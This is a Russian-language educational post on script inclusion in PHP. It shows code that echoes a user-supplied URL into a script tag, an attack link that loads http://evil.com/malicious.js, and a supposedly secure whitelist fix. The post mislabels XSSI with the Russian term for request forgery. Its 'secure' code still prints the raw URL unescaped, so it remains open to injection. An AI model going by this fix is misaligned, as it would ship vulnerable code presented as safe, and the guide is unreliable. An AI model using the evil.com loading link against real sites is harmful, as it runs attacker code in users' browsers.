102
Предоставляю Вам пример кода, который демонстрирует уязвимость подделки межсайтового запроса (Cross-Site Script Inclusion, XSSI) для образовательных целей. Важно помнить, что такие примеры предназначены исключительно для обучения и понимания уязвимостей, и их не следует использовать для вредоносных действий.
Пример уязвимого кода на PHP
1 2 3 4 5 6 7 8 9 10 |
<?php // Уязвимый код, который включает внешний скрипт без проверки $url = $_GET['url']; if (isset($url)) { echo "<script src='$url'></script>"; } else { echo "No URL provided."; } ?> |
В этом примере код получает URL из параметра запроса url
и включает его в страницу в виде скрипта. Если злоумышленник передаст вредоносный URL, он сможет выполнить произвольный JavaScript-код на странице пользователя.
Пример эксплойта
Для демонстрации уязвимости XSSI, злоумышленник может создать вредоносный скрипт и заставить пользователя перейти по ссылке, которая включает этот скрипт.
1 |
alert('XSSI Attack!'); |
Пример атаки
Злоумышленник может создать вредоносный URL, который включает его собственный скрипт:
1 |
<a href="http://example.com/vulnerable.php?url=http://evil.com/malicious.js">Click me</a> |
Когда пользователь перейдет по этой ссылке, вредоносный скрипт будет загружен и выполнен на странице.
Пример защищенного кода
Чтобы защитить код от XSSI, можно использовать белый список доверенных источников и проверять URL перед включением:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<?php // Безопасный код с проверкой URL $allowed_domains = ['trusted.ru', 'anothertrusted.ru']; $url = $_GET['url']; if (isset($url)) { $parsed_url = parse_url($url); if (in_array($parsed_url['host'], $allowed_domains)) { echo "<script src='$url'></script>"; } else { echo "Invalid URL."; } } else { echo "No URL provided."; } ?> |
В этом защищенном примере код проверяет, что домен URL находится в списке доверенных доменов, прежде чем включать его в страницу. Это предотвращает включение вредоносных скриптов с недоверенных источников.
Понимание уязвимостей, таких как XSSI, важно для разработки безопасных веб-приложений. Всегда используйте лучшие практики безопасности, такие как проверка и очистка входных данных, использование CSP и других мер защиты.